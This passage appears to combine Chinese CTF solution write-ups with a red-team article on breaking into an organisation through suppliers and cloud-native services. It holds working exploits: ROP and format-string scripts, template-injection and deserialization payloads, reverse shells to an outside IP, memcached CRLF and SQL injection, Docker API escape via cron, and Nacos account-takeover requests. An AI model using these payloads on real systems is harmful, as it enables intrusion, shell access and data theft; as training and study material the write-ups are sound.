io.recvuntil(b"The next hop is ") info = io.recvuntil(b"\n", drop=True) parts = info.split(b".") parts = parts[::-1] ascii_values = [chr(int(part)) for part in parts] ascii_values = "".join(ascii_values) flag = ascii_values return flag add("0.0.0.0", "0.0.0.0") # 32 add("64.0.0.0", "0.0.0.0") # 2 add("32.0.0.0", "0.0.0.0") # 3 add("96.0.0.0", "0.0.0.0") # 2 add("16.0.0.0", "0.0.0.0") # 4 add("80.0.0.0", "0.0.0.0") # 2 add("48.0.0.0", "0.0.0.0") # 3 add("112.0.0.0", "0.0.0.0") # 2 add("0.4.0.0", "0.0.0.0") # 14 flag = "" get_flag() show(b"0.4.0.0") # 0x40 io.recvuntil(b"The next hop is ") info = io.recvuntil(b"\n", drop=True) parts = info.split(b".") parts = parts[::-1] ascii_values = [chr(int(part)) for part in parts] ascii_values = "".join(ascii_values) flag += ascii_values log.success(flag) flag += leak(128) log.success(flag) flag += leak(192) log.success(flag) flag += leak(160) log.success(flag) flag += leak(144) log.success(flag) flag += leak(208) log.success(flag) flag += leak(176) log.success(flag) flag += leak(240) log.success(flag) flag += leak(224) log.success(flag) add(b"128.4.0.0", b"0.0.0.0") get_flag() show(b"128.4.0.0") # 0x40 io.recvuntil(b"The next hop is ") info = io.recvuntil(b"\n", drop=True) parts = info.split(b".") parts = parts[::-1] ascii_values = [chr(int(part)) for part in parts] ascii_values = "".join(ascii_values) flag += ascii_values log.success(flag) io.interactive() ez_fmt 格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。 #!/usr/bin/env python3 ''' Author:7resp4ss Date:2023-12-16 13:34:34 Usage: Debug : python3 exp.py debug elf-file-path -t -b malloc Remote: python3 exp.py remote elf-file-path ip:port ''' from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc filename = gift.filename # current filename is_debug = gift.debug # is debug or not is_remote = gift.remote # is remote or not gdb_pid = gift.gdb_pid # gdb pid if debug ru('There is a gift for you ') leak_stack = int(rl()[:-1],16) leak_ex2(leak_stack) attack_stack = leak_stack - 0x8 pd = flat( { 0:'%' + str(0xce) + 'c' + '%11$hhn%19$p', 0x18:[0x401205], 0x28:attack_stack, } ) s(pd) ru('0x') leak_libc = int(r(12),16) leak_ex2(leak_libc) lb = leak_libc - 0x24083 libc.address = lb pd = flat( { 0x18:[ CG.pop_rdi_ret(), CG.bin_sh(), lb + 0x51cd2] } ) S() s(pd) ia() hello spring 审计源码后发现是pepple的模板注入 发现过滤了 org.springframework.context.support.ClassPathXmlApplicationContext 用字符串拼接的方式绕过 org.springframework.context."+"support.ClassPathXmlApplicationContext 上传payload如下 POST /uploadFile HTTP/1.1 Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 567 content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D 上传的文件名与时间有关,并且题目环境的时间与现实不一样 public static String general_time() { LocalDateTime currentTime = LocalDateTime.now(); DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss"); String var10000 = currentTime.format(formatter); String fileName = "file_" + var10000 + ".pebble"; System.out.println("filename is " + fileName); return fileName; } 那么文件名就为 file_20231217_160502,发送payload去触发该点 GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1 Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close babyre 调试发现密钥和密文都变了 加解密过程对应着修改 解密脚本 #include <stdio.h> #include <stdint.h> //加密函数 void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99; for (int j = 0; j < 4; j++) { for (i = 0; i < num_rounds; i++) { v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum; v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; } } v[0] = v0; v[1] = v1; printf("sum==0x%x\n", sum); } //解密函数 void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263; for (int j = 0; j < 4; j++) { for (i = 0; i < num_rounds; i++) { sum += delta; v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum; } } v[0] = v0; v[1] = v1; printf("sum==0x%x\n", sum); } //打印数据 hex_or_chr: 1-hex 0-chr void dump_data(uint32_t *v, int n, bool hex_or_chr) { if (hex_or_chr) { for (int i = 0; i < n; i++) { printf("0x%x,", v[i]); } } else { for (int i = 0; i < n; i++) { for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++) { printf("%c", (v[i] >> (j * 8)) & 0xFF); } } } printf("\n"); return; } int main() { // v为要加解密的数据 uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260}; // k为加解密密钥,4个32位无符号整数,密钥长度为128位 uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62}; // num_rounds,建议取值为32 unsigned int r = 33; int n = sizeof(v) / sizeof(uint32_t); /* printf("加密前明文数据:"); dump_data(v, n, 1); for (int i = 0; i < n / 2; i++) { encrypt(r, &v[i * 2], k); } */ printf("加密后密文数据:"); dump_data(v, n, 1); for (int i = 0; i < n / 2; i++) { decrypt(r, &v[i * 2], k); } printf("解密后明文数据:"); dump_data(v, n, 1); printf("解密后明文字符:"); dump_data(v, n, 0); return 0; } // W31com3_2_Th3_QwbS7_4nd_H4v3_Fun ezre 变表base64编解码交替 有个循环异或 先逆循环异或 enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04, 0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70, 0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D, 0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70, 0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19] tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr", "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8", "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA", "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a", "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"] aaa = [ord(c) for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"] for i in range(len(aaa)): aaa[i] ^= 0x27 v5 = aaa[6:6+0x15] v7 = 2023 v6 = 0 v8 = 48 xor = [] while v6 < v8 - 1: if v6 % 3 == 1: v7 = (v7 + 5) % 20 v3 = v5[v7 + 1] elif v6 % 3 == 2: v7 = (v7 + 7) % 19 v3 = v5[v7 + 2] else: v7 = (v7 + 3) % 17 v3 = v5[v7 + 3] v6 += 1 xor.append(v3) for i in range(len(enc)-1, -1, -1): enc[i] ^= enc[i-1] if i <= len(enc)-2: enc[i] ^= xor[i] print(bytes(enc)) # jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp== 再逆变表base64编解码再补全 flag{3ea590ccwxehg715264fzxnzepqz} 石头剪刀布 因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。 由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。 from pwn import remote ip = '<ip>' port = '<port>' class GetStatus: def __init__(self, _ip=ip, _port=port) -> None: self.r = remote(_ip, _port) self.score = 0 def getdiff(self, out): self.r.sendlineafter('请出拳'.encode(), str(out).encode()) self.r.recvuntil('分数:'.encode()) newscore = int(self.r.recvline().decode()) diff = newscore - self.score self.score = newscore return diff def test_list(self, lis): for out in lis: diff = self.getdiff(out) if self.score >= 260: return 'win' return diff current_best = [0] * 5 diff2out = { 3: 0, 1: 2, 0: 1 } while len(current_best) <= 100: current_best.append(0) c = GetStatus() diff = c.test_list(current_best) if c.score >= 260: c.r.interactive() break c.r.close() current_best[-1] = diff2out[diff] print(f'Round {len(current_best)}: {current_best}') 或者 按照如下顺序即可获胜 0000011220120220110111222010022012110021012012202100112022100112110020110220210201 CRYPTO not only rsa n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下: from Crypto.Util.number import long_to_bytes p=91027438112295439314606669837102361953591324472804851543344131406676387779969 e = 641747 c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943 n=p^5 K=Zmod(p^5) a=K(c).nth_root(e) b=K(1).nth_root(e) a=int(a) b=int(b) print(b,a) from tqdm import tqdm for i in tqdm(range(e)): a=(a*b)%n m=long_to_bytes(int(a)) if b"flag" in m: print(m) break #flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a} discrete_log 阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解 import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)): half_flag1 = bytes_to_long(''.join(half_flag1).encode()) temp = cc * powmod(gtemp, -(half_flag1), p) % p dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)): half_flag2 = bytes_to_long(''.join(half_flag2).encode()) temp = powmod(g, half_flag2, p) if temp in dic: print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2)) WEB thinkshop 附件在本地起docker可以得到源码,审计发现admin路由 后台路径 /public/index.php/index/admin/login.html 1/123456登陆后台 审计发现在保存操作调用save->updatedata 在updatedata存在SQL注入,$key相当于是$data中的一个键值。 在保存商品时会调用saveGoods数据进行序列化之后保存到数据库 在编辑页面可以看到数据抽取时会进行反序列化操作 利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下 https://www.freebuf.com/vuls/317886.html <?php namespace think\process\pipes{ use think\model\Pivot; ini_set('display_errors',1); class Windows{ private $files = []; public function __construct($function,$parameter) { $this->files = [new Pivot($function,$parameter)]; } } $aaa = new Windows('system','nl /f*'); echo base64_encode(serialize(array($aaa))); } namespace think{ abstract class Model {} } namespace think\model{ use think\Model; use think\console\Output; class Pivot extends Model { protected $append = []; protected $error; public $parent; public function __construct($function,$parameter) { $this->append['jelly'] = 'getError'; $this->error = new relation\BelongsTo($function,$parameter); $this->parent = new Output($function,$parameter); } } abstract class Relation {} } namespace think\model\relation{ use think\db\Query; use think\model\Relation; abstract class OneToOne extends Relation {} class BelongsTo extends OneToOne { protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct($function,$parameter) { $this->selfRelation = false; $this->query = new Query($function,$parameter); $this->bindAttr = ['']; } } } namespace think\db{ use think\console\Output; class Query { protected $model; public function __construct($function,$parameter) { $this->model = new Output($function,$parameter); } } } namespace think\console{ use think\session\driver\Memcache; class Output { protected $styles = []; private $handle; public function __construct($function,$parameter) { $this->styles = ['getAttr']; $this->handle = new Memcache($function,$parameter); } } } namespace think\session\driver{ use think\cache\driver\Memcached; class Memcache { protected $handler = null; protected $config = [ 'expire' => '', 'session_name' => '', ]; public function __construct($function,$parameter) { $this->handler = new Memcached($function,$parameter); } } } namespace think\cache\driver{ use think\Request; class Memcached { protected $handler; protected $options = []; protected $tag; public function __construct($function,$parameter) { // pop链中需要prefix存在,否则报错 $this->options = ['prefix' => 'jelly/']; $this->tag = true; $this->handler = new Request($function,$parameter); } } } namespace think{ class Request { protected $get = []; protected $filter; public function __construct($function,$parameter) { $this->filter = $function; $this->get = ["jelly"=>$parameter]; } } } //YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0 在编辑页面修改抓包 放包 再次访问该商品得到flag flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7} happygame 使用grpcui工具 grpcui -plaintext ip:port 打开以后可以发现一个序列化参数。 猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码 java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64 发送该数据,即可成功反弹shell thinkshopping 第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了 还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了 更重要的是,secure_file_priv的值为空了 而前一题还是有值的 当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。 那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到 并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存 而在登录时,使用了cache先获取缓存 跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|username 那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章: https://www.freebuf.com/vuls/328384.html 简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度 TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf 等价于 set snowwolf 0 500 4 wolf 那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行 public function test(){ $result = Db::query("select * from admin where id=1"); var_dump($result); $a = "think:shop.admin|admin"; Cache::set($a, $result, 3600); } 查看memcached中的值,长得像个序列化字符串 telnet 127.0.0.1 11211 get think:shop.admin|admin a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}} 这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式: 上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用 set key flags exptime bytes [noreply] value 所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4 POST /public/index.php/index/admin/do_login.html HTTP/1.1 Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70 username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin 再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可 POST /public/index.php/index/admin/do_edit.html HTTP/1.1 Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com Content-Length: 183 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70 data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa 参考原文链接: https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734
-
记一次外网突破的案例
1、供应链 在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板效应,一处出现短板,整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外,而且由于复杂的关系,使得对它们的监控和管理变得更为困难。因此,攻击团队通常会选择从供应链着手,以一种迂回的方式绕过目标单位强大的防御体系,获得对目标单位的控制权限。 通过在搜索引擎上搜索"系统名称"目标单位 找到相关的供应商信息,通过对供应商进行攻击,获取目标单位的数据及权限。! 1.1、heapdump泄露 通过对供应商资产进行渗透,发现某资产admin目录下存在heapdump文件泄露 对于heapdump的利用方式这里就不太赘述,有许多文章对其原理和利用都进行了深入的研究,特定情况下还可以直接进行RCE,这里泄露了大量敏感信息,密码信息加入密码本 登录MinIO,发现大量所属目标单位的敏感信息,也存在其它单位的敏感信息 登录Nacos,大量配置文件,密码信息加入密码本![] 登录OSS,发现大量所属目标单位的敏感信息 1.2、微信小程序接口未授权 1.2.1、微信小程序解包 想要对微信小程序进行解包操作,首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式,用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的,需要使用专门设计的解密工具先进行解密,再进行解包操作,获取文件内容。iOS和Android平台下可直接进行解包操作。 1.2.1.1、获取wxapkg文件 在获取wxapkg文件时,最好将文件夹中的文件先删除,然后再重新打开小程序,防止其它文件干扰 iOS wxapkg 文件存放路径为: /var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID} Android wxapkg 文件存放路径为: /data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/ Windows wxapkg 文件存放路径为: C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\ 1.2.1.2、解密操作 下面两个github项目都可以进行解密操作 https://github.com/superdashu/pc_wxapkg_decrypt_python https://github.com/BlackTrace/pc_wxapkg_decrypt 解密原理 成功解密 1.2.1.2、解包操作 国光大佬提供的工具下载链接 https://sqlsec.lanzoub.com/i1NEP0mx694f node wuWxapkg.js 1.wxapkg 对小程序进行解包操作,获取到前端JS代码后中,从中进行提取获得接口 直接访问目标接口,前端页面虽然显示初始化失败 但流量包中已获取数据,近千万条目标单位敏感信息 1.3、web程序越权 通过上述收集到的密码,撞密码撞出一个账号,但是此账号为最低权限,无任何操作权限,点击搜索组织架构,此时无任何返回信息 抓包将parentId和orgLevel去除,再发包,即可越权看到全员组织架构 点击修改密码,然后将上述获取到的roleId添加进去,即可获取全部权限 获取到大量数据 1.4、公众号 js泄露密码,密码可撞库目标单位公众号 2、云原生安全 容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能,受到了越来越多厂商的使用,新的应用就会引入新的攻击面,如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时,安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱,容易受到各种安全威胁和攻击。 2.1、Harbor 镜像仓库 Harbor是一个开源的容器镜像仓库管理器,旨在帮助组织存储、管理和分发Docker容器镜像,但是Harbor存在一个充满争议的“漏洞”:任意用户能够直接获取public的镜像。 可以直接拉取下载镜像文件,可以利用脚本批量下载 2.2、疑似后门 通过镜像文件获取jar包,获取配置文件等敏感信息,对jar包的class文件进行反编译,进行代码审计获取到一个类似后门的漏洞,该接口只需要使用用户名,即可登录系统后台。管理员权限配合文件上传获取服务器权限。 通过配置文件连接数据库等 2.3、docker未授权 2.3.1、 registry api未授权访问 在 Docker Registry API 中,认证和授权通常是基于访问令牌(Access Token)或者用户名和密码的。如果未正确设置访问控制权限,即会造成未授权访问漏洞,攻击者可直接下载registry仓库的所有镜像容器。 访问/v2/_catalog接口即可查看全部仓库内容 https://github.com/Soufaker/docker_v2_catalog 利用上述工具可直接下载镜像 2.3.2、 Docker Remote API未授权访问 为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon时,将开放2375端口接收来自远程Docker客户端的命令。在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式的身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸。 #查看容器 docker -H tcp://<target>:2375 ps -a #挂载宿主机的根目录到容器内的mnt目录 docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash #反弹shell echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root 2.4、Nacos Nacos是一个开源的动态服务发现、配置管理和服务管理平台,它提供了注册中心、配置中心和服务管理等功能,帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。 作为一个开源工具,漏洞还是被披露不少的, 未授权访问:/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户 任意用户添加:POST /nacos/v1/auth/users username= & password= 任意用户密码修改:curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2' 弱口令:nacos/nacos 通过编排密码爆破进后台,发现大量配置文件,但敏感信息均被加密 2.4.1、Jasypt加密 Spring 的配置文件中会有一些敏感信息,如数据库密码,因此有时我们希望将敏感信息加密,Jasypt 就是其中比较方便的工具,Jasypt 是一个 Java 库,用于简化敏感数据(如密码、API 密钥等)的加密和解密操作。 加密的内容需要用 ENC(..) 括起来,加密用的密码通过 jasypt.encryptor.password 指定。 spring: datasource: username: your-username password: ENC(encrypted-password) 因为必须要解密,密码就需要放在配置文件里,或者放在代码中: # application.yml jasypt: encryption: password: 密码 algorithm: 加密方式 解密数据:使用解密器的 decrypt 方法对加密的数据进行解密操作。 import org.jasypt.util.text.BasicTextEncryptor; public class DecryptionExample { public static void main(String[] args) { String encryptionKey = "yourEncryptionKey"; // 加密密钥 BasicTextEncryptor textEncryptor = new BasicTextEncryptor(); textEncryptor.setPassword(encryptionKey); String encryptedText = "encryptedText"; // 加密后的数据 String decryptedText = textEncryptor.decrypt(encryptedText); System.out.println("Decrypted Text: " + decryptedText); } } 但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性,当密码泄露后,加密也就自然失效了,在ncaos一个文件中发现jasypt加密密码,可以直接进行解密操作 成功连接OSS 成功连接数据库 小程序token,接管小程序 达梦数据库是国产化的关系型数据库,使用下面工具可以进行连接 https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3 3、Nday 3.1、yongyouNC jsInvoke rce漏洞 漏洞利用方法,通过Java反射机制创建一个javax.naming.InitialContext对象,并使用LDAP协议连接到指定的IP地址和端口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法,接受对象和字符串作为参数,达到命令执行的效果。 命令执行成功,但是目标系统存在杀软,无法直接上传文件 3.1.1、certutil certutil 是 Windows 